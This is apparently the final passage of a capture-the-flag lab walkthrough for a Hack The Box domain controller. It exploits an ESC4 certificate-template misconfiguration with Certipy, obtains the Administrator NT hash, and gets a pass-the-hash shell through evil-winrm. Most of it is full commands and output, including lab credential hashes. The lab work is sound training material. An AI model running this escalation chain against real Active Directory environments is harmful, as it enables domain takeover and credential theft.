[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250114064030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250114064030_Certipy.txt'
[*] Saved JSON output to '20250114064030_Certipy.json'
We got the results saved in a .txt
and .json
file as the output says.
We can get the interesting info from this file filtering by some keywords like CA Name
, Template
and ESC
which we will need later:
❯ cat 20250114064030_Certipy.txt | grep -E 'CA Name|Template Name|ESC'
CA Name : sequel-DC01-CA
Template Name : DunderMifflinAuthentication
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
We have a template with name DunderMifflinAuthentication
with some dangerous permissions.
Based on the output, this is a domain escalation labeled as ESC4
. we can see how to abuse this going to Certify Github page for ESC4
, where they explain how to abuse it. Basically, we can overwrite the configuration of this certificate. For this we can run:
❯ certipy template -username ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template 'DunderMifflinAuthentication' -dc-ip 10.10.11.51 -target dc01.sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'
Now this certificate should be vulnerable to ESC1
. We can now follow these instructions to request a certificate for Administrator
user:
❯ certipy req -u ca_svc -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with multiple identifications
UPN: 'administrator@sequel.htb'
DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
This should generate a .pfx
(certificate) file.
Use this .pfx
file to extract Administrator
NT
hash:
❯ certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'administrator@sequel.htb'
[1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
We got a hash for Administrator
user
We check if this hash works for Administrator
user:
❯ nxc smb DC01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\Administrator:7a8d4e04986afa8ed4060f75e5a0b3ff (Pwn3d!)
It works. And it’s for a privileged user as Pwn3d!
message is shown for SMB
service. GG.
Connect to the victim machine using this hash and a service like WinRM
with evil-winrm
performing a Pass The Hash
(PtH
):
❯ evil-winrm -i dc01.sequel.htb -u 'Administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
We can read root.txt
flag at Administrator
Desktop.
~Happy Hacking.